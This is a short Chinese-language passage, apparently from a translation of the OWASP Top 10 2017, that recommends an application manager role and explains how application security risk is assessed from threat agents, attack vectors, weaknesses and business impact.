我們建議建立應用程式管理器的角色對等於應用程式所有者。應用程式管理器負責整個應用程式生命週期，從嚐嚐被忽視的IT角度，這包含收集需求到系統下線的過程。
風險因素總結
攻擊者可以通過應用程式中許多不同的路徑方法去危害您的業務或者企業組織。每種路徑方法都代表了一種風險，這些風險可能會，也可能不會嚴重到值得您去關注。
有時，這些路徑方法很容易被發現並利用，但有的則非常困難。同樣，所造成的危害有可能無關緊要，也可能導致破產。為了確定您企業的風險，可以結合其產生的技術影響和對企業的業務影響，去評估威脅來源、攻擊向量和安全漏洞的可能性。總之，這些因素決定了全部的風險。
下面的表格總結了2017年版Top 10應用程式安全風險因素，以及我們賦予每個風險因素的風險值。這些因素基於OWASP團隊擁有的統計資料和經驗而決定。為了瞭解某個特定的應用程式或者企業組織的風險，您必須考慮您自己的威脅代理和業務影響。如果沒有相應位置上的威脅代理去執行必要的攻擊，或者產生的業務影響微不足道，那麼就是再嚴重的軟體漏洞也不會導致一個嚴重的安全風險。
更多內容
最全的Java後端知識體系 https://www.pdai.tech, 每天更新中...。